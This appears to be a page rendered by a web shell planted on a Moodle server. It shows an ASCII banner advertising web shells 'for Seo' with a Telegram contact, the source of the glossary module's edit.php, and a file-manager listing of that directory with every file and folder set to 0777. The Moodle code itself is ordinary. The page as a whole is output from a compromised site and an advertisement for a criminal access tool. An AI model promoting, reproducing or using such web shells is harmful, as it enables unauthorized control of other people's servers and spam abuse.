__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
require_once('../../config.php');
require_once('lib.php');
require_once('edit_form.php');
$cmid = required_param('cmid', PARAM_INT); // Course Module ID
$id = optional_param('id', 0, PARAM_INT); // EntryID
if (!$cm = get_coursemodule_from_id('glossary', $cmid)) {
throw new \moodle_exception('invalidcoursemodule');
}
if (!$course = $DB->get_record('course', array('id'=>$cm->course))) {
throw new \moodle_exception('coursemisconf');
}
require_login($course, false, $cm);
$context = context_module::instance($cm->id);
if (!$glossary = $DB->get_record('glossary', array('id'=>$cm->instance))) {
throw new \moodle_exception('invalidid', 'glossary');
}
$url = new moodle_url('/mod/glossary/edit.php', array('cmid'=>$cm->id));
if (!empty($id)) {
$url->param('id', $id);
}
$PAGE->set_url($url);
if ($id) { // if entry is specified
if (isguestuser()) {
throw new \moodle_exception('guestnoedit', 'glossary', "$CFG->wwwroot/mod/glossary/view.php?id=$cmid");
}
if (!$entry = $DB->get_record('glossary_entries', array('id'=>$id, 'glossaryid'=>$glossary->id))) {
throw new \moodle_exception('invalidentry');
}
// Check if the user can update the entry (trigger exception if he can't).
mod_glossary_can_update_entry($entry, $glossary, $context, $cm, false);
// Prepare extra data.
$entry = mod_glossary_prepare_entry_for_edition($entry);
} else { // new entry
require_capability('mod/glossary:write', $context);
// note: guest user does not have any write capability
$entry = new stdClass();
$entry->id = null;
}
list($definitionoptions, $attachmentoptions) = glossary_get_editor_and_attachment_options($course, $context, $entry);
$entry = file_prepare_standard_editor($entry, 'definition', $definitionoptions, $context, 'mod_glossary', 'entry', $entry->id);
$entry = file_prepare_standard_filemanager($entry, 'attachment', $attachmentoptions, $context, 'mod_glossary', 'attachment', $entry->id);
$entry->cmid = $cm->id;
// create form and set initial data
$mform = new mod_glossary_entry_form(null, array('current'=>$entry, 'cm'=>$cm, 'glossary'=>$glossary,
'definitionoptions'=>$definitionoptions, 'attachmentoptions'=>$attachmentoptions));
if ($mform->is_cancelled()){
if ($id){
redirect("view.php?id=$cm->id&mode=entry&hook=$id");
} else {
redirect("view.php?id=$cm->id");
}
} else if ($data = $mform->get_data()) {
$entry = glossary_edit_entry($data, $course, $cm, $glossary, $context);
if (core_tag_tag::is_enabled('mod_glossary', 'glossary_entries') && isset($data->tags)) {
core_tag_tag::set_item_tags('mod_glossary', 'glossary_entries', $data->id, $context, $data->tags);
}
redirect("view.php?id=$cm->id&mode=entry&hook=$entry->id");
}
if (!empty($id)) {
$PAGE->navbar->add(get_string('edit'));
}
$PAGE->set_title($glossary->name);
$PAGE->set_heading($course->fullname);
$PAGE->set_secondary_active_tab('modulepage');
$PAGE->activityheader->set_attrs([
'hidecompletion' => true,
'description' => ''
]);
echo $OUTPUT->header();
if (!$id) {
echo $OUTPUT->heading(get_string('addsingleentry', 'mod_glossary'));
} else {
echo $OUTPUT->heading(get_string('editentry', 'mod_glossary'));
}
$data = new StdClass();
$data->tags = core_tag_tag::get_item_tags_array('mod_glossary', 'glossary_entries', $id);
$mform->set_data($data);
$mform->display();
echo $OUTPUT->footer();
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| backup | Folder | 0777 |
|
|
| classes | Folder | 0777 |
|
|
| db | Folder | 0777 |
|
|
| formats | Folder | 0777 |
|
|
| lang | Folder | 0777 |
|
|
| pix | Folder | 0777 |
|
|
| templates | Folder | 0777 |
|
|
| tests | Folder | 0777 |
|
|
| README.txt | File | 1.7 KB | 0777 |
|
| TODO.txt | File | 607 B | 0777 |
|
| approve.php | File | 2.22 KB | 0777 |
|
| deleteentry.php | File | 2.87 KB | 0777 |
|
| deprecatedlib.php | File | 1.15 KB | 0777 |
|
| edit.php | File | 3.43 KB | 0777 |
|
| edit_form.php | File | 7.12 KB | 0777 |
|
| editcategories.html | File | 3.33 KB | 0777 |
|
| editcategories.php | File | 10.89 KB | 0777 |
|
| export.php | File | 2.95 KB | 0777 |
|
| exportentry.php | File | 4.47 KB | 0777 |
|
| formats.php | File | 9.51 KB | 0777 |
|
| import.php | File | 15.77 KB | 0777 |
|
| import_form.php | File | 1.13 KB | 0777 |
|
| index.php | File | 4.36 KB | 0777 |
|
| lib.php | File | 165.38 KB | 0777 |
|
| locallib.php | File | 29.26 KB | 0777 |
|
| mod_form.php | File | 11.18 KB | 0777 |
|
| print.php | File | 6.94 KB | 0777 |
|
| rsslib.php | File | 7.85 KB | 0777 |
|
| settings.php | File | 2.7 KB | 0777 |
|
| showentry.php | File | 3.42 KB | 0777 |
|
| sql.php | File | 3.83 KB | 0777 |
|
| styles.css | File | 2.5 KB | 0777 |
|
| tabs.php | File | 2.46 KB | 0777 |
|
| upgrade.txt | File | 1.36 KB | 0777 |
|
| version.php | File | 1.2 KB | 0777 |
|
| view.php | File | 17.37 KB | 0777 |
|